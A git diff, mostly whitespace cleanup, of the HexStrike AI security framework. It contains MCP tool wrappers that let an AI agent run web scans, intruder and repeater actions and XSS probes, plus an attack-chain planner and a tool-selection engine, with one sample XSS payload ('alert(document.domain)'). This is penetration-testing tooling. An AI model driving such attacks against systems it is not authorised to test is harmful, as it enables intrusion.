     # ENHANCED HTTP TESTING FRAMEWORK & BROWSER AGENT (BURP SUITE ALTERNATIVE)
     # ============================================================================
-    
+
     @mcp.tool()
-    def http_framework_test(url: str, method: str = "GET", data: dict = {}, 
+    def http_framework_test(url: str, method: str = "GET", data: dict = {},
                            headers: dict = {}, cookies: dict = {}, action: str = "request") -> Dict[str, Any]:
         """
         Enhanced HTTP testing framework (Burp Suite alternative) for comprehensive web security testing.
-        
+
         Args:
             url: Target URL to test
             method: HTTP method (GET, POST, PUT, DELETE, etc.)
@@ -5159,7 +5166,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             headers: Custom headers
             cookies: Custom cookies
             action: Action to perform (request, spider, proxy_history, set_rules, set_scope, repeater, intruder)
-            
+
         Returns:
             HTTP testing results with vulnerability analysis
         """
@@ -5171,28 +5178,28 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "cookies": cookies,
             "action": action
         }
-        
+
         logger.info(f"{HexStrikeColors.FIRE_RED}🔥 Starting HTTP Framework {action}: {url}{HexStrikeColors.RESET}")
         result = hexstrike_client.safe_post("api/tools/http-framework", data_payload)
-        
+
         if result.get("success"):
             logger.info(f"{HexStrikeColors.SUCCESS}✅ HTTP Framework {action} completed for {url}{HexStrikeColors.RESET}")
-            
+
             # Enhanced logging for vulnerabilities found
             if result.get("result", {}).get("vulnerabilities"):
                 vuln_count = len(result["result"]["vulnerabilities"])
                 logger.info(f"{HexStrikeColors.HIGHLIGHT_RED} Found {vuln_count} potential vulnerabilities {HexStrikeColors.RESET}")
         else:
             logger.error(f"{HexStrikeColors.ERROR}❌ HTTP Framework {action} failed for {url}{HexStrikeColors.RESET}")
-        
+
         return result
 
     @mcp.tool()
-    def browser_agent_inspect(url: str, headless: bool = True, wait_time: int = 5, 
+    def browser_agent_inspect(url: str, headless: bool = True, wait_time: int = 5,
                              action: str = "navigate", proxy_port: int = None, active_tests: bool = False) -> Dict[str, Any]:
         """
         AI-powered browser agent for comprehensive web application inspection and security analysis.
-        
+
         Args:
             url: Target URL to inspect
             headless: Run browser in headless mode
@@ -5200,7 +5207,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             action: Action to perform (navigate, screenshot, close, status)
             proxy_port: Optional proxy port for request interception
             active_tests: Run lightweight active reflected XSS tests (safe GET-only)
-            
+
         Returns:
             Browser inspection results with security analysis
         """
@@ -5212,26 +5219,26 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "proxy_port": proxy_port,
             "active_tests": active_tests
         }
-        
+
         logger.info(f"{HexStrikeColors.CRIMSON}🌐 Starting Browser Agent {action}: {url}{HexStrikeColors.RESET}")
         result = hexstrike_client.safe_post("api/tools/browser-agent", data_payload)
-        
+
         if result.get("success"):
             logger.info(f"{HexStrikeColors.SUCCESS}✅ Browser Agent {action} completed for {url}{HexStrikeColors.RESET}")
-            
+
             # Enhanced logging for security analysis
             if action == "navigate" and result.get("result", {}).get("security_analysis"):
                 security_analysis = result["result"]["security_analysis"]
                 issues_count = security_analysis.get("total_issues", 0)
                 security_score = security_analysis.get("security_score", 0)
-                
+
                 if issues_count > 0:
                     logger.warning(f"{HexStrikeColors.HIGHLIGHT_YELLOW} Security Issues: {issues_count} | Score: {security_score}/100 {HexStrikeColors.RESET}")
                 else:
                     logger.info(f"{HexStrikeColors.HIGHLIGHT_GREEN} No security issues found | Score: {security_score}/100 {HexStrikeColors.RESET}")
         else:
             logger.error(f"{HexStrikeColors.ERROR}❌ Browser Agent {action} failed for {url}{HexStrikeColors.RESET}")
-        
+
         return result
 
     # ---------------- Additional HTTP Framework Tools (sync with server) ----------------
@@ -5272,19 +5279,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return hexstrike_client.safe_post("api/tools/http-framework", payload)
 
     @mcp.tool()
-    def burpsuite_alternative_scan(target: str, scan_type: str = "comprehensive", 
-                                  headless: bool = True, max_depth: int = 3, 
+    def burpsuite_alternative_scan(target: str, scan_type: str = "comprehensive",
+                                  headless: bool = True, max_depth: int = 3,
                                   max_pages: int = 50) -> Dict[str, Any]:
         """
         Comprehensive Burp Suite alternative combining HTTP framework and browser agent for complete web security testing.
-        
+
         Args:
             target: Target URL or domain to scan
             scan_type: Type of scan (comprehensive, spider, passive, active)
             headless: Run browser in headless mode
             max_depth: Maximum crawling depth
             max_pages: Maximum pages to analyze
-            
+
         Returns:
             Comprehensive security assessment results
         """
@@ -5295,25 +5302,25 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "max_depth": max_depth,
             "max_pages": max_pages
         }
-        
+
         logger.info(f"{HexStrikeColors.BLOOD_RED}🔥 Starting Burp Suite Alternative {scan_type} scan: {target}{HexStrikeColors.RESET}")
         result = hexstrike_client.safe_post("api/tools/burpsuite-alternative", data_payload)
-        
+
         if result.get("success"):
             logger.info(f"{HexStrikeColors.SUCCESS}✅ Burp Suite Alternative scan completed for {target}{HexStrikeColors.RESET}")
-            
+
             # Enhanced logging for comprehensive results
             if result.get("result", {}).get("summary"):
                 summary = result["result"]["summary"]
                 total_vulns = summary.get("total_vulnerabilities", 0)
                 pages_analyzed = summary.get("pages_analyzed", 0)
                 security_score = summary.get("security_score", 0)
-                
+
                 logger.info(f"{HexStrikeColors.HIGHLIGHT_BLUE} SCAN SUMMARY {HexStrikeColors.RESET}")
                 logger.info(f"  📊 Pages Analyzed: {pages_analyzed}")
                 logger.info(f"  🚨 Vulnerabilities: {total_vulns}")
                 logger.info(f"  🛡️  Security Score: {security_score}/100")
-                
+
                 # Log vulnerability breakdown
                 vuln_breakdown = summary.get("vulnerability_breakdown", {})
                 for severity, count in vuln_breakdown.items():
@@ -5325,33 +5332,33 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         'low': HexStrikeColors.YELLOW,
         'info': HexStrikeColors.INFO
     }.get(severity.lower(), HexStrikeColors.WHITE)
-                        
+
                         logger.info(f"  {color}{severity.upper()}: {count}{HexStrikeColors.RESET}")
         else:
             logger.error(f"{HexStrikeColors.ERROR}❌ Burp Suite Alternative scan failed for {target}{HexStrikeColors.RESET}")
-        
+
         return result
 
     @mcp.tool()
     def error_handling_statistics() -> Dict[str, Any]:
         """
         Get intelligent error handling system statistics and recent error patterns.
-        
+
         Returns:
             Error handling statistics and patterns
         """
         logger.info(f"{HexStrikeColors.ELECTRIC_PURPLE}📊 Retrieving error handling statistics{HexStrikeColors.RESET}")
         result = hexstrike_client.safe_get("api/error-handling/statistics")
-        
+
         if result.get("success"):
             stats = result.get("statistics", {})
             total_errors = stats.get("total_errors", 0)
             recent_errors = stats.get("recent_errors_count", 0)
-            
+
             logger.info(f"{HexStrikeColors.SUCCESS}✅ Error statistics retrieved{HexStrikeColors.RESET}")
             logger.info(f"  📈 Total Errors: {total_errors}")
             logger.info(f"  🕒 Recent Errors: {recent_errors}")
-            
+
             # Log error breakdown by type
             error_counts = stats.get("error_counts_by_type", {})
             if error_counts:
@@ -5360,20 +5367,20 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                                           logger.info(f"  {HexStrikeColors.FIRE_RED}{error_type}: {count}{HexStrikeColors.RESET}")
         else:
             logger.error(f"{HexStrikeColors.ERROR}❌ Failed to retrieve error statistics{HexStrikeColors.RESET}")
-        
+
         return result
 
     @mcp.tool()
-    def test_error_recovery(tool_name: str, error_type: str = "timeout", 
+    def test_error_recovery(tool_name: str, error_type: str = "timeout",
                            target: str = "example.com") -> Dict[str, Any]:
         """
         Test the intelligent error recovery system with simulated failures.
-        
+
         Args:
             tool_name: Name of tool to simulate error for
             error_type: Type of error to simulate (timeout, permission_denied, network_unreachable, etc.)
             target: Target for the simulated test
-            
+
         Returns:
             Recovery strategy and system response
         """
@@ -5382,26 +5389,26 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "error_type": error_type,
             "target": target
         }
-        
+
         logger.info(f"{HexStrikeColors.RUBY}🧪 Testing error recovery for {tool_name} with {error_type}{HexStrikeColors.RESET}")
         result = hexstrike_client.safe_post("api/error-handling/test-recovery", data_payload)
-        
+
         if result.get("success"):
             recovery_strategy = result.get("recovery_strategy", {})
             action = recovery_strategy.get("action", "unknown")
             success_prob = recovery_strategy.get("success_probability", 0)
-            
+
             logger.info(f"{HexStrikeColors.SUCCESS}✅ Error recovery test completed{HexStrikeColors.RESET}")
             logger.info(f"  🔧 Recovery Action: {action}")
             logger.info(f"  📊 Success Probability: {success_prob:.2%}")
-            
+
             # Log alternative tools if available
             alternatives = result.get("alternative_tools", [])
             if alternatives:
                 logger.info(f"  🔄 Alternative Tools: {', '.join(alternatives)}")
         else:
             logger.error(f"{HexStrikeColors.ERROR}❌ Error recovery test failed{HexStrikeColors.RESET}")
-        
+
         return result
 
     return mcp
@@ -5409,7 +5416,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
 def parse_args():
     """Parse command line arguments."""
     parser = argparse.ArgumentParser(description="Run the HexStrike AI MCP Client")
-    parser.add_argument("--server", type=str, default=DEFAULT_HEXSTRIKE_SERVER, 
+    parser.add_argument("--server", type=str, default=DEFAULT_HEXSTRIKE_SERVER,
                       help=f"HexStrike AI API server URL (default: {DEFAULT_HEXSTRIKE_SERVER})")
     parser.add_argument("--timeout", type=int, default=DEFAULT_REQUEST_TIMEOUT,
                       help=f"Request timeout in seconds (default: {DEFAULT_REQUEST_TIMEOUT})")
@@ -5419,20 +5426,20 @@ def parse_args():
 def main():
     """Main entry point for the MCP server."""
     args = parse_args()
-    
+
     # Configure logging based on debug flag
     if args.debug:
         logger.setLevel(logging.DEBUG)
         logger.debug("🔍 Debug logging enabled")
-    
+
     # MCP compatibility: No banner output to avoid JSON parsing issues
     logger.info(f"🚀 Starting HexStrike AI MCP Client v6.0")
     logger.info(f"🔗 Connecting to: {args.server}")
-    
+
     try:
         # Initialize the HexStrike AI client
         hexstrike_client = HexStrikeClient(args.server, args.timeout)
-        
+
         # Check server health and log the result
         health = hexstrike_client.check_health()
         if "error" in health:
@@ -5447,7 +5454,7 @@ def main():
                 missing_tools = [tool for tool, available in health.get("tools_status", {}).items() if not available]
                 if missing_tools:
                     logger.warning(f"❌ Missing tools: {', '.join(missing_tools[:5])}{'...' if len(missing_tools) > 5 else ''}")
-        
+
         # Set up and run the MCP server
         mcp = setup_mcp_server(hexstrike_client)
         logger.info("🚀 Starting HexStrike AI MCP server")
@@ -5460,4 +5467,4 @@ def main():
         sys.exit(1)
 
 if __name__ == "__main__":
-    main()
\ No newline at end of file
+    main()
diff --git a/hexstrike_server.py b/hexstrike_server.py
index ba01649..bd66d24 100644
--- a/hexstrike_server.py
+++ b/hexstrike_server.py
@@ -104,11 +104,11 @@ API_HOST = os.environ.get('HEXSTRIKE_HOST', '127.0.0.1')
 
 class ModernVisualEngine:
     """Beautiful, modern output formatting with animations and colors"""
-    
+
     # Enhanced color palette with reddish tones and better highlighting
     COLORS = {
         'MATRIX_GREEN': '\033[38;5;46m',
-        'NEON_BLUE': '\033[38;5;51m', 
+        'NEON_BLUE': '\033[38;5;51m',
         'ELECTRIC_PURPLE': '\033[38;5;129m',
         'CYBER_ORANGE': '\033[38;5;208m',
         'HACKER_RED': '\033[38;5;196m',
@@ -161,7 +161,7 @@ class ModernVisualEngine:
         'SPINNER': '\033[38;5;51m',  # Cyan
         'PULSE': '\033[38;5;196m\033[5m'  # Blinking red
     }
-    
+
     # Progress animation styles
     PROGRESS_STYLES = {
         'dots': ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏'],
@@ -169,7 +169,7 @@ class ModernVisualEngine:
         'arrows': ['←', '↖', '↑', '↗', '→', '↘', '↓', '↙'],
         'pulse': ['●', '◐', '◑', '◒', '◓', '◔', '◕', '◖', '◗', '◘']
     }
-    
+
     @staticmethod
     def create_banner() -> str:
         """Create the enhanced HexStrike banner"""
@@ -184,8 +184,8 @@ class ModernVisualEngine:
 {title_block}
 ██╗  ██╗███████╗██╗  ██╗███████╗████████╗██████╗ ██╗██╗  ██╗███████╗
 ██║  ██║██╔════╝╚██╗██╔╝██╔════╝╚══██╔══╝██╔══██╗██║██║ ██╔╝██╔════╝
-███████║█████╗   ╚███╔╝ ███████╗   ██║   ██████╔╝██║█████╔╝ █████╗  
-██╔══██║██╔══╝   ██╔██╗ ╚════██║   ██║   ██╔══██╗██║██╔═██╗ ██╔══╝  
+███████║█████╗   ╚███╔╝ ███████╗   ██║   ██████╔╝██║█████╔╝ █████╗
+██╔══██║██╔══╝   ██╔██╗ ╚════██║   ██║   ██╔══██╗██║██╔═██╗ ██╔══╝
 ██║  ██║███████╗██╔╝ ██╗███████║   ██║   ██║  ██║██║██║  ██╗███████╗
 ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚══════╝   ╚═╝   ╚═╝  ╚═╝╚═╝╚═╝  ╚═╝╚══════╝
 {RESET}
@@ -200,7 +200,7 @@ class ModernVisualEngine:
 [INFO] Blood-red theme engaged – unified offensive operations UI{RESET}
 """
         return banner
-    
+
     @staticmethod
     def create_progress_bar(current: int, total: int, width: int = 50, tool: str = "") -> str:
         """Create a beautiful progress bar with cyberpunk styling"""
@@ -208,10 +208,10 @@ class ModernVisualEngine:
             percentage = 0
         else:
             percentage = min(100, (current / total) * 100)
-        
+
         filled = int(width * percentage / 100)
         bar = '█' * filled + '░' * (width - filled)
-        
+
         border = ModernVisualEngine.COLORS['PRIMARY_BORDER']
         fill_col = ModernVisualEngine.COLORS['ACCENT_LINE']
         return f"""
@@ -220,17 +220,17 @@ class ModernVisualEngine:
 └─{'─' * (width + 10)}┘{ModernVisualEngine.COLORS['RESET']}"""
 
     @staticmethod
-    def render_progress_bar(progress: float, width: int = 40, style: str = 'cyber', 
+    def render_progress_bar(progress: float, width: int = 40, style: str = 'cyber',
                           label: str = "", eta: float = 0, speed: str = "") -> str:
         """Render a beautiful progress bar with multiple styles"""
-        
+
         # Clamp progress between 0 and 1
         progress = max(0.0, min(1.0, progress))
-        
+
         # Calculate filled and empty portions
         filled_width = int(width * progress)
         empty_width = width - filled_width
-        
+
         # Style-specific rendering
         if style == 'cyber':
             filled_char = '█'
@@ -252,22 +252,22 @@ class ModernVisualEngine:
             empty_char = '░'
             bar_color = ModernVisualEngine.COLORS['ACCENT_LINE']
             progress_color = ModernVisualEngine.COLORS['PRIMARY_BORDER']
-        
+
         # Build the progress bar
         filled_part = bar_color + filled_char * filled_width
         empty_part = ModernVisualEngine.COLORS['TERMINAL_GRAY'] + empty_char * empty_width
         percentage = f"{progress * 100:.1f}%"
-        
+
         # Add ETA and speed if provided
         extra_info = ""
         if eta > 0:
             extra_info += f" ETA: {eta:.1f}s"
         if speed:
             extra_info += f" Speed: {speed}"
-        
+
         # Build final progress bar
         bar_display = f"[{filled_part}{empty_part}{ModernVisualEngine.COLORS['RESET']}] {progress_color}{percentage}{ModernVisualEngine.COLORS['RESET']}"
-        
+
         if label:
             return f"{label}: {bar_display}{extra_info}"
         else:
@@ -276,7 +276,7 @@ class ModernVisualEngine:
     @staticmethod
     def create_live_dashboard(processes: Dict[int, Dict[str, Any]]) -> str:
         """Create a live dashboard showing all active processes"""
-        
+
         if not processes:
             return f"""
 {ModernVisualEngine.COLORS['PRIMARY_BORDER']}╭─────────────────────────────────────────────────────────────────────────────╮
@@ -285,35 +285,35 @@ class ModernVisualEngine:
 │ {ModernVisualEngine.COLORS['TERMINAL_GRAY']}No active processes currently running{ModernVisualEngine.COLORS['PRIMARY_BORDER']}                                    │
 ╰─────────────────────────────────────────────────────────────────────────────╯{ModernVisualEngine.COLORS['RESET']}
 """
-        
+
         dashboard_lines = [
             f"{ModernVisualEngine.COLORS['PRIMARY_BORDER']}╭─────────────────────────────────────────────────────────────────────────────╮",
             f"│ {ModernVisualEngine.COLORS['ACCENT_LINE']}📊 HEXSTRIKE LIVE DASHBOARD{ModernVisualEngine.COLORS['PRIMARY_BORDER']}                                           │",
             f"├─────────────────────────────────────────────────────────────────────────────┤"
         ]
-        
+
         for pid, proc_info in processes.items():
             status = proc_info.get('status', 'unknown')
             command = proc_info.get('command', 'unknown')[:50] + "..." if len(proc_info.get('command', '')) > 50 else proc_info.get('command', 'unknown')
             duration = proc_info.get('duration', 0)
-            
+
             status_color = ModernVisualEngine.COLORS['ACCENT_LINE'] if status == 'running' else ModernVisualEngine.COLORS['HACKER_RED']
-            
+
             dashboard_lines.append(
                 f"│ {ModernVisualEngine.COLORS['CYBER_ORANGE']}PID {pid}{ModernVisualEngine.COLORS['PRIMARY_BORDER']} | {status_color}{status}{ModernVisualEngine.COLORS['PRIMARY_BORDER']} | {ModernVisualEngine.COLORS['BRIGHT_WHITE']}{command}{ModernVisualEngine.COLORS['PRIMARY_BORDER']} │"
             )
-        
+
         dashboard_lines.append(f"╰─────────────────────────────────────────────────────────────────────────────╯{ModernVisualEngine.COLORS['RESET']}")
-        
+
         return "\n".join(dashboard_lines)
-    
+
     @staticmethod
     def format_vulnerability_card(vuln_data: Dict[str, Any]) -> str:
         """Format vulnerability as a beautiful card"""
         severity = vuln_data.get('severity', 'unknown').upper()
         name = vuln_data.get('name', 'Unknown Vulnerability')
         description = vuln_data.get('description', 'No description available')
-        
+
         # Severity color mapping
         severity_colors = {
             'CRITICAL': ModernVisualEngine.COLORS['VULN_CRITICAL'],
@@ -322,9 +322,9 @@ class ModernVisualEngine:
             'LOW': ModernVisualEngine.COLORS['CYBER_ORANGE'],
             'INFO': ModernVisualEngine.COLORS['TERMINAL_GRAY']
         }
-        
+
         color = severity_colors.get(severity, ModernVisualEngine.COLORS['TERMINAL_GRAY'])
-        
+
         return f"""
 {color}┌─ 🚨 VULNERABILITY DETECTED ─────────────────────────────────────┐
 │ {ModernVisualEngine.COLORS['BRIGHT_WHITE']}{name:<60}{color} │
@@ -342,22 +342,22 @@ class ModernVisualEngine:
             'RECOVERY': ModernVisualEngine.COLORS['TOOL_RECOVERY'],
             'WARNING': ModernVisualEngine.COLORS['WARNING']
         }
-        
+
         color = error_colors.get(error_type.upper(), ModernVisualEngine.COLORS['ERROR'])
-        
+
         card = f"""
 {color}┌─ 🔥 ERROR DETECTED ─────────────────────────────────────────────┐{ModernVisualEngine.COLORS['RESET']}
 {color}│ {ModernVisualEngine.COLORS['BRIGHT_WHITE']}Tool: {tool_name:<55}{color} │{ModernVisualEngine.COLORS['RESET']}
 {color}│ {ModernVisualEngine.COLORS['BRIGHT_WHITE']}Type: {error_type:<55}{color} │{ModernVisualEngine.COLORS['RESET']}
 {color}│ {ModernVisualEngine.COLORS['BRIGHT_WHITE']}Error: {error_message[:53]:<53}{color} │{ModernVisualEngine.COLORS['RESET']}"""
-        
+
         if recovery_action:
             card += f"""
 {color}│ {ModernVisualEngine.COLORS['TOOL_RECOVERY']}Recovery: {recovery_action[:50]:<50}{color} │{ModernVisualEngine.COLORS['RESET']}"""
-        
+
         card += f"""
 {color}└─────────────────────────────────────────────────────────────────┘{ModernVisualEngine.COLORS['RESET']}"""
-        
+
         return card
 
     @staticmethod
@@ -370,16 +370,16 @@ class ModernVisualEngine:
             'TIMEOUT': ModernVisualEngine.COLORS['TOOL_TIMEOUT'],
             'RECOVERY': ModernVisualEngine.COLORS['TOOL_RECOVERY']
         }
-        
+
         color = status_colors.get(status.upper(), ModernVisualEngine.COLORS['INFO'])
-        
+
         # Create progress bar if progress > 0
         progress_bar = ""
         if progress > 0:
             filled = int(20 * progress)
             empty = 20 - filled
             progress_bar = f" [{ModernVisualEngine.COLORS['PROGRESS_BAR']}{'█' * filled}{ModernVisualEngine.COLORS['PROGRESS_EMPTY']}{'░' * empty}{ModernVisualEngine.COLORS['RESET']}] {progress*100:.1f}%"
-        
+
         return f"{color}🔧 {tool_name.upper()}{ModernVisualEngine.COLORS['RESET']} | {color}{status}{ModernVisualEngine.COLORS['RESET']} | {ModernVisualEngine.COLORS['BRIGHT_WHITE']}{target}{ModernVisualEngine.COLORS['RESET']}{progress_bar}"
 
     @staticmethod
@@ -392,7 +392,7 @@ class ModernVisualEngine:
             'BLUE': ModernVisualEngine.COLORS['HIGHLIGHT_BLUE'],
             'PURPLE': ModernVisualEngine.COLORS['HIGHLIGHT_PURPLE']
         }
-        
+
         color = highlight_colors.get(highlight_type.upper(), ModernVisualEngine.COLORS['HIGHLIGHT_RED'])
         return f"{color} {text} {ModernVisualEngine.COLORS['RESET']}"
 
@@ -406,17 +406,17 @@ class ModernVisualEngine:
             'LOW': ModernVisualEngine.COLORS['VULN_LOW'],
             'INFO': ModernVisualEngine.COLORS['VULN_INFO']
         }
-        
+
         color = severity_colors.get(severity.upper(), ModernVisualEngine.COLORS['INFO'])
         count_text = f" ({count})" if count > 0 else ""
-        
+
         return f"{color}{severity.upper()}{count_text}{ModernVisualEngine.COLORS['RESET']}"
 
     @staticmethod
     def create_section_header(title: str, icon: str = "🔥", color: str = "FIRE_RED") -> str:
         """Create a section header with reddish styling"""
         header_color = ModernVisualEngine.COLORS.get(color, ModernVisualEngine.COLORS['FIRE_RED'])
-        
+
         return f"""
 {header_color}{'═' * 70}{ModernVisualEngine.COLORS['RESET']}
 {header_color}{icon} {title.upper()}{ModernVisualEngine.COLORS['RESET']}
@@ -432,10 +432,10 @@ class ModernVisualEngine:
             'FAILED': ModernVisualEngine.COLORS['TOOL_FAILED'],
             'TIMEOUT': ModernVisualEngine.COLORS['TOOL_TIMEOUT']
         }
-        
+
         color = status_colors.get(status.upper(), ModernVisualEngine.COLORS['INFO'])
         duration_text = f" ({duration:.2f}s)" if duration > 0 else ""
-        
+
         return f"{color}▶ {command[:60]}{'...' if len(command) > 60 else ''} | {status.upper()}{duration_text}{ModernVisualEngine.COLORS['RESET']}"
 
 # ============================================================================
@@ -488,7 +488,7 @@ class TargetProfile:
     attack_surface_score: float = 0.0
     risk_level: str = "unknown"
     confidence_score: float = 0.0
-    
+
     def to_dict(self) -> Dict[str, Any]:
         """Convert TargetProfile to dictionary for JSON serialization"""
         return {
@@ -518,7 +518,7 @@ class AttackStep:
     success_probability: float
     execution_time_estimate: int  # seconds
     dependencies: List[str] = field(default_factory=list)
-    
+
 class AttackChain:
     """Represents a sequence of attacks for maximum impact"""
     def __init__(self, target_profile: TargetProfile):
@@ -528,26 +528,26 @@ class AttackChain:
         self.estimated_time: int = 0
         self.required_tools: Set[str] = set()
         self.risk_level: str = "unknown"
-    
+
     def add_step(self, step: AttackStep):
         """Add a step to the attack chain"""
         self.steps.append(step)
         self.required_tools.add(step.tool)
         self.estimated_time += step.execution_time_estimate
-        
+
     def calculate_success_probability(self):
         """Calculate overall success probability of the attack chain"""
         if not self.steps:
             self.success_probability = 0.0
             return
-        
+
         # Use compound probability for sequential steps
         prob = 1.0
         for step in self.steps:
             prob *= step.success_probability
-        
+
         self.success_probability = prob
-        
+
     def to_dict(self) -> Dict[str, Any]:
         """Convert AttackChain to dictionary"""
         return {
@@ -571,13 +571,13 @@ class AttackChain:
 
 class IntelligentDecisionEngine:
     """AI-powered tool selection and parameter optimization engine"""
-    
+
     def __init__(self):
         self.tool_effectiveness = self._initialize_tool_effectiveness()
         self.technology_signatures = self._initialize_technology_signatures()
         self.attack_patterns = self._initialize_attack_patterns()
         self._use_advanced_optimizer = True  # Enable advanced optimization by default
-        
+
     def _initialize_tool_effectiveness(self) -> Dict[str, Dict[str, float]]:
         """Initialize tool effectiveness ratings for different target types"""
         return {
@@ -665,7 +665,7 @@ class IntelligentDecisionEngine:
                 "pwninit": 0.85  # Great for CTF setup
             }
         }
-    
+
     def _initialize_technology_signatures(self) -> Dict[str, Dict[str, List[str]]]:
         """Initialize technology detection signatures"""
         return {
@@ -694,7 +694,7 @@ class IntelligentDecisionEngine:
                 TechnologyStack.NODEJS.value: [3000, 8000, 8080, 9000]
             }
         }
-    
+
     def _initialize_attack_patterns(self) -> Dict[str, List[Dict[str, Any]]]:
         """Initialize common attack patterns for different scenarios"""
         return {
@@ -807,34 +807,34 @@ class IntelligentDecisionEngine:
                 {"tool": "dalfox", "priority": 4, "params": {"blind": True, "mining_dom": True, "custom_payload": "alert(document.domain)"}}
             ]
         }
-    
+
     def analyze_target(self, target: str) -> TargetProfile:
         """Analyze target and create comprehensive profile"""
         profile = TargetProfile(target=target)
-        
+
         # Determine target type
         profile.target_type = self._determine_target_type(target)
-        
+
         # Basic network analysis
         if profile.target_type in [TargetType.WEB_APPLICATION, TargetType.API_ENDPOINT]:
             profile.ip_addresses = self._resolve_domain(target)
-            
+
         # Technology detection (basic heuristics)
         if profile.target_type == TargetType.WEB_APPLICATION:
             profile.technologies = self._detect_technologies(target)
             profile.cms_type = self._detect_cms(target)
-            
+
         # Calculate attack surface score
         profile.attack_surface_score = self._calculate_attack_surface(profile)
-        
+
         # Determine risk level
         profile.risk_level = self._determine_risk_level(profile)
-        
+
         # Set confidence score
         profile.confidence_score = self._calculate_confidence(profile)
-        
+
         return profile
-    
+
     def _determine_target_type(self, target: str) -> TargetType:
         """Determine the type of target for appropriate tool selection"""
         # URL patterns
@@ -843,25 +843,25 @@ class IntelligentDecisionEngine:
             if '/api/' in parsed.path or parsed.path.endswith('/api'):
                 return TargetType.API_ENDPOINT
             return TargetType.WEB_APPLICATION
-        
+
         # IP address pattern
         if re.match(r'^(\d{1,3}\.){3}\d{1,3}$', target):
             return TargetType.NETWORK_HOST
-        
+
         # Domain name pattern
         if re.match(r'^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', target):
             return TargetType.WEB_APPLICATION
-        
+
         # File patterns
         if target.endswith(('.exe', '.bin', '.elf', '.so', '.dll')):
             return TargetType.BINARY_FILE
-        
+
         # Cloud service patterns
         if any(cloud in target.lower() for cloud in ['amazonaws.com', 'azure', 'googleapis.com']):
             return TargetType.CLOUD_SERVICE
-        
+
         return TargetType.UNKNOWN
-    
+
     def _resolve_domain(self, target: str) -> List[str]:
         """Resolve domain to IP addresses"""
         try:
@@ -869,50 +869,50 @@ class IntelligentDecisionEngine:
                 hostname = urllib.parse.urlparse(target).hostname
             else:
                 hostname = target
-            
+
             if hostname:
                 ip = socket.gethostbyname(hostname)
                 return [ip]
         except Exception:
             pass
         return []
-    
+
     def _detect_technologies(self, target: str) -> List[TechnologyStack]:
         """Detect technologies using basic heuristics"""
         technologies = []
-        
+
         # This is a simplified version - in practice, you'd make HTTP requests
         # and analyze headers, content, etc.
-        
+
         # For now, return some common technologies based on target patterns
         if 'wordpress' in target.lower() or 'wp-' in target.lower():
             technologies.append(TechnologyStack.WORDPRESS)
-        
+
         if any(ext in target.lower() for ext in ['.php', 'php']):
             technologies.append(TechnologyStack.PHP)
-        
+
         if any(ext in target.lower() for ext in ['.asp', '.aspx']):
             technologies.append(TechnologyStack.DOTNET)
-        
+
         return technologies if technologies else [TechnologyStack.UNKNOWN]
-    
+
     def _detect_cms(self, target: str) -> Optional[str]:
         """Detect CMS type"""
         target_lower = target.lower()
-        
+
         if 'wordpress' in target_lower or 'wp-' in target_lower:
             return "WordPress"
         elif 'drupal' in target_lower:
             return "Drupal"
         elif 'joomla' in target_lower:
             return "Joomla"
-        
+
         return None
-    
+
     def _calculate_attack_surface(self, profile: TargetProfile) -> float:
         """Calculate attack surface score based on profile"""
         score = 0.0
-        
+
         # Base score by target type
         type_scores = {
             TargetType.WEB_APPLICATION: 7.0,
@@ -921,24 +921,24 @@ class IntelligentDecisionEngine:
             TargetType.CLOUD_SERVICE: 5.0,
             TargetType.BINARY_FILE: 4.0
         }
-        
+
         score += type_scores.get(profile.target_type, 3.0)
-        
+
         # Add points for technologies
         score += len(profile.technologies) * 0.5
-        
+
         # Add points for open ports
         score += len(profile.open_ports) * 0.3
-        
+
         # Add points for subdomains
         score += len(profile.subdomains) * 0.2
-        
+
         # CMS adds attack surface
         if profile.cms_type:
             score += 1.5
-        
+
         return min(score, 10.0)  # Cap at 10.0
-    
+
     def _determine_risk_level(self, profile: TargetProfile) -> str:
         """Determine risk level based on attack surface"""
         if profile.attack_surface_score >= 8.0:
@@ -951,11 +951,11 @@ class IntelligentDecisionEngine:
             return "low"
         else:
             return "minimal"
-    
+
     def _calculate_confidence(self, profile: TargetProfile) -> float:
         """Calculate confidence score in the analysis"""
         confidence = 0.5  # Base confidence
-        
+
         # Increase confidence based on available data
         if profile.ip_addresses:
             confidence += 0.1
@@ -965,17 +965,17 @@ class IntelligentDecisionEngine:
             confidence += 0.1
         if profile.target_type != TargetType.UNKNOWN:
             confidence += 0.1
-        
+
         return min(confidence, 1.0)
-    
+
     def select_optimal_tools(self, profile: TargetProfile, objective: str = "comprehensive") -> List[str]:
         """Select optimal tools based on target profile and objective"""
         target_type = profile.target_type.value
         effectiveness_map = self.tool_effectiveness.get(target_type, {})
-        
+
         # Get base tools for target type
         base_tools = list(effectiveness_map.keys())
-        
+
         # Apply objective-based filtering
         if objective == "quick":
             # Select top 3 most effective tools
@@ -990,28 +990,28 @@ class IntelligentDecisionEngine:
             selected_tools = [tool for tool in base_tools if tool in stealth_tools]
         else:
             selected_tools = base_tools
-        
+
         # Add technology-specific tools
         for tech in profile.technologies:
             if tech == TechnologyStack.WORDPRESS and "wpscan" not in selected_tools:
                 selected_tools.append("wpscan")
             elif tech == TechnologyStack.PHP and "nikto" not in selected_tools:
                 selected_tools.append("nikto")
-        
+
         return selected_tools
-    
+
     def optimize_parameters(self, tool: str, profile: TargetProfile, context: Dict[str, Any] = None) -> Dict[str, Any]:
         """Enhanced parameter optimization with advanced intelligence"""
         if context is None:
             context = {}
-        
+
         # Use advanced parameter optimizer if available
         if hasattr(self, '_use_advanced_optimizer') and self._use_advanced_optimizer:
